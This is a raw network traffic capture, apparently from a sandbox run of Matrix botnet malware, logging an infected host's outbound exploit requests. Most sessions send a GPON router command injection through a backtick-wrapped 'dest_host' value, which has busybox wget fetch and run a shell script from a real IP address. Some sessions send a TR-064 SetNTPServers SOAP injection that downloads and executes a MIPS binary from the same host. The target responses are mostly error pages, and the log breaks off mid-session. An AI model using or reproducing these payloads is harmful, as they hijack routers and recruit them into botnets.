Mar 21, 2024 05:23:08.687463045 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1003	192.168.2.13	37448	212.129.85.34	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687498093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1004	192.168.2.13	38706	118.35.0.191	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687498093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1005	192.168.2.13	46890	5.0.172.160	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687514067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1006	192.168.2.13	35218	5.118.254.141	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687530041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1007	192.168.2.13	52432	42.134.64.226	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687539101 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1008	192.168.2.13	49122	109.48.201.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.687553883 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1009	192.168.2.13	60546	125.149.162.209	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.821611881 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1010	192.168.2.13	60016	175.238.89.134	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.830837011 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1011	192.168.2.13	42566	50.249.149.125	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:09.067588091 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:23:09.202001095 CET	902	IN	HTTP/1.0 404 Not Found Server: SonicWALL Expires: -1 Cache-Control: no-cache Content-type: text/html;charset=UTF-8 X-Content-Type-Options: nosniff Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 73 70 61 6e 2e 75 72 6c 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 20 7d 70 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 73 70 61 6e 2e 73 65 72 76 65 72 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 72 6c 22 3e 26 23 78 32 46 3b 47 70 6f 6e 46 6f 72 6d 26 23 78 32 46 3b 64 69 61 67 5f 46 6f 72 6d 3f 69 6d 61 67 65 73 26 23 78 32 46 3b 3c 2f 73 70 61 6e 3e 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 3c 70 3e 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 3c 68 32 3e 45 72 72 6f 72 20 34 30 34 3c 2f 68 32 3e 3c 70 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 65 72 76 65 72 22 3e 53 6f 6e 69 63 57 61 6c 6c 20 53 65 72 76 65 72 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>File not found!</title><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; }span.url { text-decoration: underline; }p {margin-left: 3em;}span.server {font-size: smaller;}/...*/--></style></head><body><h1>File not found!</h1><p>The requested URL <span class="url">/GponForm/diag_Form?images/</span> was not found on this server.</p><p>If you entered the URL manually please check your spelling and try again.</p><h2>Error 404</h2><p><span class="server">SonicWall Server</span></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1012	192.168.2.13	42414	173.255.131.101	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:09.085560083 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:23:09.227031946 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:09 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; }
Mar 21, 2024 05:23:09.227098942 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 Data Ascii: .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat;
Mar 21, 2024 05:23:09.227200985 CET	1286	IN	Data Raw: 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a Data Ascii: } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } foote
Mar 21, 2024 05:23:09.227263927 CET	1286	IN	Data Raw: 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 Data Ascii: float: left; } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0;
Mar 21, 2024 05:23:09.227349043 CET	1286	IN	Data Raw: 6b 6c 34 30 76 78 4a 6b 5a 2b 44 4f 32 4e 75 2f 33 48 6e 79 43 37 74 31 35 6f 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 Data Ascii: kl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt
Mar 21, 2024 05:23:09.227494955 CET	1286	IN	Data Raw: 32 74 69 57 66 63 46 6e 68 30 68 50 49 70 59 45 56 47 6a 6d 42 41 65 32 62 39 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 Data Ascii: 2tiWfcFnh0hPIpYEVGjmBAe2b95U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5K
Mar 21, 2024 05:23:09.227572918 CET	1122	IN	Data Raw: 49 77 4a 74 4c 79 37 75 4e 36 50 65 2f 77 41 6e 72 42 78 4f 6e 41 61 79 49 53 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 Data Ascii: IwJtLy7uN6Pe/wAnrBxOnAayISLWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g
Mar 21, 2024 05:23:09.227823973 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to slmp-550-68.slc.westdc.net's <a href="mailto:cpane
Mar 21, 2024 05:23:09.227955103 CET	375	IN	Data Raw: 65 6c 77 68 6d 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 70 6c 6f 67 6f 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 72 65 66 65 72 72 61 6c 22 20 74 61 72 67 65 74 3d 22 63 70 61 Data Ascii: elwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <div class="copyri

Session ID	Source IP	Source Port	Destination IP	Destination Port
1013	192.168.2.13	59416	136.0.145.5	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:09.221558094 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: 